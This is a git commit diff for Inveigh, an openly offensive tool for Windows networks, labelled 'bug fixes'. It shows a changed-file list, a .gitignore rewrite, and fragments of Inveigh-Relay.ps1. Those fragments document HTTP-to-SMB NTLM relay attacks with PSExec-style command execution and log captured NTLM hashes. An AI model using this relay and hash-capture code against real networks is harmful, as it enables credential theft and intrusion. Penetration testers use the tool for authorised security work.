aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorKevin Robertson <Kevin-Robertson@users.noreply.github.com>2021-11-30 20:34:02 -0500
committerKevin Robertson <Kevin-Robertson@users.noreply.github.com>2021-11-30 20:34:02 -0500
commite87cb0a3bc481224c197e3d4cc39527e78b31079 (patch)
treef66aa1552f618eb2d816ae62c693c4d51ea72179
parente007b8f1d88fac718a62b1ae41f3b1f2bfe31bc1 (diff)
downloadInveigh-e87cb0a3bc481224c197e3d4cc39527e78b31079.tar.gz
Inveigh-e87cb0a3bc481224c197e3d4cc39527e78b31079.zip
bug fixes
-rw-r--r--.gitattributes15
-rw-r--r--.gitignore353
-rw-r--r--Inveigh-Relay.ps151
-rw-r--r--Inveigh.ps1974
-rw-r--r--Inveigh.psm12
-rw-r--r--Inveigh.sln25
-rw-r--r--Inveigh/Inveigh.csproj56
-rw-r--r--Inveigh/Listeners/DHCPv6Listener.cs69
-rw-r--r--Inveigh/Listeners/DNSListener.cs67
-rw-r--r--Inveigh/Listeners/HTTPListener.cs61
-rw-r--r--Inveigh/Listeners/LDAPListener.cs33
-rw-r--r--Inveigh/Listeners/LLMNRListener.cs56
-rw-r--r--Inveigh/Listeners/MDNSListener.cs59
-rw-r--r--Inveigh/Listeners/NBNSListener.cs57
-rw-r--r--Inveigh/Listeners/SMBListener.cs70
-rw-r--r--Inveigh/Program.cs648
-rw-r--r--Inveigh/Protocols/Quiddity/LICENSE29
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity.sln25
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Clients/SMBClient.cs64
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Clients/TCPClient.cs47
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Listeners/DHCPv6Listener.cs184
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Listeners/DNSListener.cs168
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Listeners/HTTPListener.cs530
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Listeners/LDAPListener.cs233
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Listeners/LLMNRListener.cs101
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Listeners/MDNSListener.cs117
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Listeners/NetBIOSNSListener.cs95
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Listeners/SMBListener.cs296
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Listeners/TCPListener.cs48
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Listeners/UDPListener.cs58
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DCERPC/SCMR/SCMRROpenSCManagerW.cs15
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/DHCPv6Checker.cs150
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/DHCPv6Message.cs86
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/DHCPv6Packet.cs222
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option.cs39
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option1.cs88
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option14.cs86
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option16.cs90
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option2.cs95
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option23.cs97
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option24.cs95
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option3.cs107
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option39.cs128
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option5.cs77
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option6.cs87
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option8.cs88
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLL.cs72
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLLT.cs57
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSChecker.cs329
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSHeader.cs181
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSPacket.cs185
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSQuestion.cs193
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSResource.cs122
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordA.cs33
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordAAAA.cs34
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordSOA.cs86
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordSRV.cs42
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/GSSAPI/GSSAPIInitSecContext.cs49
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/HTTP/HTTPRequest.cs159
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/HTTP/HTTPResponse.cs166
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/ICMPv6/ICMPv6RouterAdvertisement.cs107
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/ICMPv6/Options/ICMPv6DNSSearchList.cs43
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/ICMPv6/Options/ICMPv6RecursiveDNS.cs73
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/IP/IPHeader.cs81
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/LDAPMessage.cs182
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindRequest.cs23
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindResponse.cs18
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPPartialAttributeList.cs13
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchRequest.cs46
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResDone.cs22
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResEntry.cs25
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPResult.cs46
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPSaslCredentials.cs52
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPSupportedCapabilities.cs55
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPSupportedSASLMechanisms.cs56
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRChecker.cs41
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRHeader.cs130
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRPacket.cs98
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRQuestion.cs53
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRResource.cs74
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSChecker.cs84
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSHeader.cs124
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSPacket.cs99
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSQuestion.cs63
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSResource.cs39
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMChallenge.cs275
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMHelper.cs94
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMNegotiate.cs120
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMResponse.cs221
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMAVPair.cs128
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMv1Response.cs39
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMv2ClientChallenge.cs39
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMv2Response.cs39
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSChecker.cs76
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSHeader.cs135
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSPacket.cs93
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSQuestion.cs166
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSResource.cs68
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSSessionService.cs82
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/PacketReader.cs74
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/PacketWriter.cs76
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXRequest.cs92
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXResponse.cs91
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/SMBHeader.cs93
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/SMBHelper.cs70
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CloseRequest.cs47
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CloseResponse.cs54
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CreateRequest.cs120
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CreateResponse.cs45
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2ErrorResponse.cs48
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2FlushRequest.cs47
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2FlushResponse.cs45
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2LogoffRequest.cs45
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2LogoffResponse.cs45
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2NegotiateResponse.cs164
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2NegotiatelRequest.cs118
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryRequest.cs70
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryResponse.cs47
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2ReadRequest.cs54
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2ReadResponse.cs42
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupRequest.cs89
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupResponse.cs114
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectRequest.cs50
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectResponse.cs88
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectRequest.cs45
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectResponse.cs45
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2WriteRequest.cs68
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2WriteResponse.cs49
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/SMB2Header.cs133
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/SMB2Helper.cs124
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/SMB2Packet.cs42
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Structures/SMB2NegotiateContext.cs108
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SPNEGO/SPNEGONegTokenInit.cs64
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/SPNEGO/SPNEGONegTokenResp.cs55
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/TCP/TCPHeader.cs124
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Protocols/UDP/UDPHeader.cs130
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Quiddity.csproj55
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Support/ASN1.cs284
-rw-r--r--Inveigh/Protocols/Quiddity/Quiddity/Support/Utilities.cs126
-rw-r--r--Inveigh/Protocols/Quiddity/README.md17
-rw-r--r--Inveigh/Sniffer/Sniffer.cs713
-rw-r--r--Inveigh/Sockets/ICMPv6Socket.cs105
-rw-r--r--Inveigh/Sockets/UDPSocket.cs53
-rw-r--r--Inveigh/Support/Arguments.cs621
-rw-r--r--Inveigh/Support/Control.cs606
-rw-r--r--Inveigh/Support/Output.cs1500
-rw-r--r--Inveigh/Support/Shell.cs760
-rw-r--r--LICENSE (renamed from LICENSE.md)10
-rw-r--r--README.md46
149 files changed, 18178 insertions, 604 deletions
diff --git a/.gitattributes b/.gitattributes
index bdb0cab..dfe0770 100644
--- a/.gitattributes
+++ b/.gitattributes
@@ -1,17 +1,2 @@
# Auto detect text files and perform LF normalization
* text=auto
-
-# Custom for Visual Studio
-*.cs diff=csharp
-
-# Standard to msysgit
-*.doc diff=astextplain
-*.DOC diff=astextplain
-*.docx diff=astextplain
-*.DOCX diff=astextplain
-*.dot diff=astextplain
-*.DOT diff=astextplain
-*.pdf diff=astextplain
-*.PDF diff=astextplain
-*.rtf diff=astextplain
-*.RTF diff=astextplain
diff --git a/.gitignore b/.gitignore
index 96374c4..3e759b7 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,43 +1,330 @@
-# Windows image file caches
-Thumbs.db
-ehthumbs.db
+## Ignore Visual Studio temporary files, build results, and
+## files generated by popular Visual Studio add-ons.
+##
+## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
-# Folder config file
-Desktop.ini
+# User-specific files
+*.suo
+*.user
+*.userosscache
+*.sln.docstates
-# Recycle Bin used on file shares
-$RECYCLE.BIN/
+# User-specific files (MonoDevelop/Xamarin Studio)
+*.userprefs
-# Windows Installer files
-*.cab
-*.msi
-*.msm
-*.msp
+# Build results
+[Dd]ebug/
+[Dd]ebugPublic/
+[Rr]elease/
+[Rr]eleases/
+x64/
+x86/
+bld/
+[Bb]in/
+[Oo]bj/
+[Ll]og/
-# Windows shortcuts
-*.lnk
+# Visual Studio 2015/2017 cache/options directory
+.vs/
+# Uncomment if you have tasks that create the project's static files in wwwroot
+#wwwroot/
-# =========================
-# Operating System Files
-# =========================
+# Visual Studio 2017 auto generated files
+Generated\ Files/
-# OSX
-# =========================
+# MSTest test Results
+[Tt]est[Rr]esult*/
+[Bb]uild[Ll]og.*
-.DS_Store
-.AppleDouble
-.LSOverride
+# NUNIT
+*.VisualState.xml
+TestResult.xml
-# Thumbnails
-._*
+# Build Results of an ATL Project
+[Dd]ebugPS/
+[Rr]eleasePS/
+dlldata.c
-# Files that might appear on external disk
-.Spotlight-V100
-.Trashes
+# Benchmark Results
+BenchmarkDotNet.Artifacts/
-# Directories potentially created on remote AFP share
-.AppleDB
-.AppleDesktop
-Network Trash Folder
-Temporary Items
-.apdisk
+# .NET Core
+project.lock.json
+project.fragment.lock.json
+artifacts/
+**/Properties/launchSettings.json
+
+# StyleCop
+StyleCopReport.xml
+
+# Files built by Visual Studio
+*_i.c
+*_p.c
+*_i.h
+*.ilk
+*.meta
+*.obj
+*.iobj
+*.pch
+*.pdb
+*.ipdb
+*.pgc
+*.pgd
+*.rsp
+*.sbr
+*.tlb
+*.tli
+*.tlh
+*.tmp
+*.tmp_proj
+*.log
+*.vspscc
+*.vssscc
+.builds
+*.pidb
+*.svclog
+*.scc
+
+# Chutzpah Test files
+_Chutzpah*
+
+# Visual C++ cache files
+ipch/
+*.aps
+*.ncb
+*.opendb
+*.opensdf
+*.sdf
+*.cachefile
+*.VC.db
+*.VC.VC.opendb
+
+# Visual Studio profiler
+*.psess
+*.vsp
+*.vspx
+*.sap
+
+# Visual Studio Trace Files
+*.e2e
+
+# TFS 2012 Local Workspace
+$tf/
+
+# Guidance Automation Toolkit
+*.gpState
+
+# ReSharper is a .NET coding add-in
+_ReSharper*/
+*.[Rr]e[Ss]harper
+*.DotSettings.user
+
+# JustCode is a .NET coding add-in
+.JustCode
+
+# TeamCity is a build add-in
+_TeamCity*
+
+# DotCover is a Code Coverage Tool
+*.dotCover
+
+# AxoCover is a Code Coverage Tool
+.axoCover/*
+!.axoCover/settings.json
+
+# Visual Studio code coverage results
+*.coverage
+*.coveragexml
+
+# NCrunch
+_NCrunch_*
+.*crunch*.local.xml
+nCrunchTemp_*
+
+# MightyMoose
+*.mm.*
+AutoTest.Net/
+
+# Web workbench (sass)
+.sass-cache/
+
+# Installshield output folder
+[Ee]xpress/
+
+# DocProject is a documentation generator add-in
+DocProject/buildhelp/
+DocProject/Help/*.HxT
+DocProject/Help/*.HxC
+DocProject/Help/*.hhc
+DocProject/Help/*.hhk
+DocProject/Help/*.hhp
+DocProject/Help/Html2
+DocProject/Help/html
+
+# Click-Once directory
+publish/
+
+# Publish Web Output
+*.[Pp]ublish.xml
+*.azurePubxml
+# Note: Comment the next line if you want to checkin your web deploy settings,
+# but database connection strings (with potential passwords) will be unencrypted
+*.pubxml
+*.publishproj
+
+# Microsoft Azure Web App publish settings. Comment the next line if you want to
+# checkin your Azure Web App publish settings, but sensitive information contained
+# in these scripts will be unencrypted
+PublishScripts/
+
+# NuGet Packages
+*.nupkg
+# The packages folder can be ignored because of Package Restore
+**/[Pp]ackages/*
+# except build/, which is used as an MSBuild target.
+!**/[Pp]ackages/build/
+# Uncomment if necessary however generally it will be regenerated when needed
+#!**/[Pp]ackages/repositories.config
+# NuGet v3's project.json files produces more ignorable files
+*.nuget.props
+*.nuget.targets
+
+# Microsoft Azure Build Output
+csx/
+*.build.csdef
+
+# Microsoft Azure Emulator
+ecf/
+rcf/
+
+# Windows Store app package directories and files
+AppPackages/
+BundleArtifacts/
+Package.StoreAssociation.xml
+_pkginfo.txt
+*.appx
+
+# Visual Studio cache files
+# files ending in .cache can be ignored
+*.[Cc]ache
+# but keep track of directories ending in .cache
+!*.[Cc]ache/
+
+# Others
+ClientBin/
+~$*
+*~
+*.dbmdl
+*.dbproj.schemaview
+*.jfm
+*.pfx
+*.publishsettings
+orleans.codegen.cs
+
+# Including strong name files can present a security risk
+# (https://github.com/github/gitignore/pull/2483#issue-259490424)
+#*.snk
+
+# Since there are multiple workflows, uncomment next line to ignore bower_components
+# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
+#bower_components/
+
+# RIA/Silverlight projects
+Generated_Code/
+
+# Backup & report files from converting an old project file
+# to a newer Visual Studio version. Backup files are not needed,
+# because we have git ;-)
+_UpgradeReport_Files/
+Backup*/
+UpgradeLog*.XML
+UpgradeLog*.htm
+ServiceFabricBackup/
+*.rptproj.bak
+
+# SQL Server files
+*.mdf
+*.ldf
+*.ndf
+
+# Business Intelligence projects
+*.rdl.data
+*.bim.layout
+*.bim_*.settings
+*.rptproj.rsuser
+
+# Microsoft Fakes
+FakesAssemblies/
+
+# GhostDoc plugin setting file
+*.GhostDoc.xml
+
+# Node.js Tools for Visual Studio
+.ntvs_analysis.dat
+node_modules/
+
+# Visual Studio 6 build log
+*.plg
+
+# Visual Studio 6 workspace options file
+*.opt
+
+# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
+*.vbw
+
+# Visual Studio LightSwitch build output
+**/*.HTMLClient/GeneratedArtifacts
+**/*.DesktopClient/GeneratedArtifacts
+**/*.DesktopClient/ModelManifest.xml
+**/*.Server/GeneratedArtifacts
+**/*.Server/ModelManifest.xml
+_Pvt_Extensions
+
+# Paket dependency manager
+.paket/paket.exe
+paket-files/
+
+# FAKE - F# Make
+.fake/
+
+# JetBrains Rider
+.idea/
+*.sln.iml
+
+# CodeRush
+.cr/
+
+# Python Tools for Visual Studio (PTVS)
+__pycache__/
+*.pyc
+
+# Cake - Uncomment if you are using it
+# tools/**
+# !tools/packages.config
+
+# Tabs Studio
+*.tss
+
+# Telerik's JustMock configuration file
+*.jmconfig
+
+# BizTalk build output
+*.btp.cs
+*.btm.cs
+*.odx.cs
+*.xsd.cs
+
+# OpenCover UI analysis results
+OpenCover/
+
+# Azure Stream Analytics local run output
+ASALocalRun/
+
+# MSBuild Binary and Structured Log
+*.binlog
+
+# NVidia Nsight GPU debugger configuration file
+*.nvuser
+
+# MFractors (Xamarin productivity tool) working folder
+.mfractor/
diff --git a/Inveigh-Relay.ps1 b/Inveigh-Relay.ps1
index c0d4f1e..74105a4 100644
--- a/Inveigh-Relay.ps1
+++ b/Inveigh-Relay.ps1
@@ -8,7 +8,7 @@ This function performs NTLMv1/NTLMv2 HTTP to SMB relay.
This function performs NTLMv1/NTLMv2 HTTP to SMB relay.
.PARAMETER Attack
-Default = not sure yet: (Enumerate/Execute/Session) Comma seperated list of attacks to perform with relay. Enumerate
+Default = Enumerate,Session: (Enumerate/Execute/Session) Comma seperated list of attacks to perform with relay. Enumerate
leverages relay to perform enumeration on target systems. The collected data is used for target selection.
Execute performs PSExec style command execution. Session creates and maintains authenticated SMB sessions that
can be interacted with through Invoke-TheHash's Invoke-SMBClient, Invoke-SMBEnum, and Invoke-SMBExec.
@@ -47,15 +47,12 @@ Default = All: (All/Group/NetSession/Share/User) The action that will be used fo
Default = Administrators: The group that will be enumerated with the 'Enumerate' attack. Note that only the
'Administrators' group will be used for targeting decisions.
-.PARAMETER Execute
-Command to execute on relay target. Use PowerShell character escapes where necessary.
-
.PARAMETER FailedLoginStrict
Default = Disabled: If disabled, login attempts against non-domain attached will not count as failed logins. If enabled, all
failed logins will count.
.PARAMETER FailedLoginThreshold
-Default = 2: The threshold for failed logins. Once failed logins for a user exceed the threshhold, further relay attempts for that
+Default = 2: The threshold for failed logins. Once failed logins for a user exceed the threshold, further relay attempts for that
user will be stopped.
.PARAMETER FileOutput
@@ -103,9 +100,6 @@ Default = Disabled: Enable/Disable forcing all output to the standard output str
running Inveigh Relay through a shell that does not return other output streams. Note that you will not see the
various yellow warning messages if enabled.
-.PARAMETER ProxyRelay
-Default = Disabled: (Y/N): Enable/Disable relaying proxy authentication.
-
.PARAMETER ProxyIP
Default = Any: IP address for the proxy listener.
@@ -121,17 +115,17 @@ cleared. Remove "Firefox" from this list to attack Firefox. If attacking Firefox
closing and reopening.
.PARAMETER RelayAutoDisable
-Default = Enable: (Y/N) Enable/Disable automaticaly disabling SMB relay after a successful command execution on
+Default = Enable: (Y/N) Enable/Disable automatically disabling SMB relay after a successful command execution on
target.
.PARAMETER RelayAutoExit
-Default = Enable: (Y/N) Enable/Disable automaticaly exiting after a relay is disabled due to success or error.
+Default = Enable: (Y/N) Enable/Disable automatically exiting after a relay is disabled due to success or error.
.PARAMETER RepeatEnumerate
Default = 30 Minutes: The minimum number of minutes to wait between enumeration attempts for a target.
.PARAMETER RepeatExecute
-Default = 30 Minutes: The minumum number of minutes to wait between command execution attempts for a target.
+Default = 30 Minutes: The minimum number of minutes to wait between command execution attempts for a target.
.PARAMETER RunTime
(Integer) Run time duration in minutes.
@@ -211,6 +205,7 @@ https://github.com/Kevin-Robertson/Inveigh
#region begin parameters
# Parameter default values can be modified in this section:
+
[CmdletBinding()]
param
(
@@ -284,7 +279,7 @@ if($inveigh.relay_running)
throw
}
-$inveigh_version = "1.5 Dev"
+$inveigh_version = "1.501"
if(!$target -and !$inveigh.enumerate)
{
@@ -358,7 +353,6 @@ if(!$inveigh)
$inveigh.session_message_ID_table = [HashTable]::Synchronized(@{})
$inveigh.session_lock_table = [HashTable]::Synchronized(@{})
$inveigh.SMB_session_table = [HashTable]::Synchronized(@{})
- $inveigh.TCP_session_table = [HashTable]::Synchronized(@{})
$inveigh.domain_mapping_table = [HashTable]::Synchronized(@{})
$inveigh.group_table = [HashTable]::Synchronized(@{})
$inveigh.session_count = 0
@@ -608,7 +602,7 @@ if($HTTP -eq 'Y' -or $HTTPS -eq 'Y')
if($Challenge)
{
- $inveigh.output_queue.Add("[+] NTLM Challenge = $Challenge") > $null
+ $inveigh.output_queue.Add("[+] HTTP NTLM Challenge = $Challenge") > $null
}
if($MachineAccounts -eq 'N')
@@ -5681,6 +5675,7 @@ $HTTP_scriptblock =
$HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
$HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length)
$HTTP_source_IP = $HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString
+ $HTTP_source_Port = $HTTP_client.Client.RemoteEndpoint.Port
$HTTP_connection_header_close = $true
if(($TCP_request).StartsWith("47-45-54-20"))
@@ -5859,7 +5854,6 @@ $HTTP_scriptblock =
$inveigh.HTTP_session_table["$ClientIPAddress`:$ClientPort"] = $HTTP_challenge
}
- #$inveigh.HTTP_challenge_queue.Add($HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + ',' + $NTLM_challenge) > $null
$inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Received challenge $NTLM_challenge for relay from $Target") > $null
$inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Providing challenge $NTLM_challenge for relay to $HTTP_source_IP") > $null
$relay_step = 2
@@ -5923,18 +5917,18 @@ $HTTP_scriptblock =
if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full"))
{
- $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type($HTTPPort) $NTLM_type challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):") > $null
+ $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type($HTTPPort) $NTLM_type captured for $HTTP_username_full from $HTTP_source_IP($NTLM_host_string)`:$HTTP_source_Port`:") > $null
$inveigh.output_queue.Add($HTTP_NTLM_hash) > $null
}
else
{
- $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type($HTTPPort) $NTLM_type challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_username_full [not unique]") > $null
+ $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type($HTTPPort) $NTLM_type captured for $HTTP_username_full from $HTTP_source_IP($NTLM_host_string)`:$HTTP_source_Port`:`n[not unique]") > $null
}
if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full")))
{
$inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) > $null
- $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type($HTTPPort) $NTLM_type challenge/response written to " + $inveigh.NTLMv1_out_file) > $null
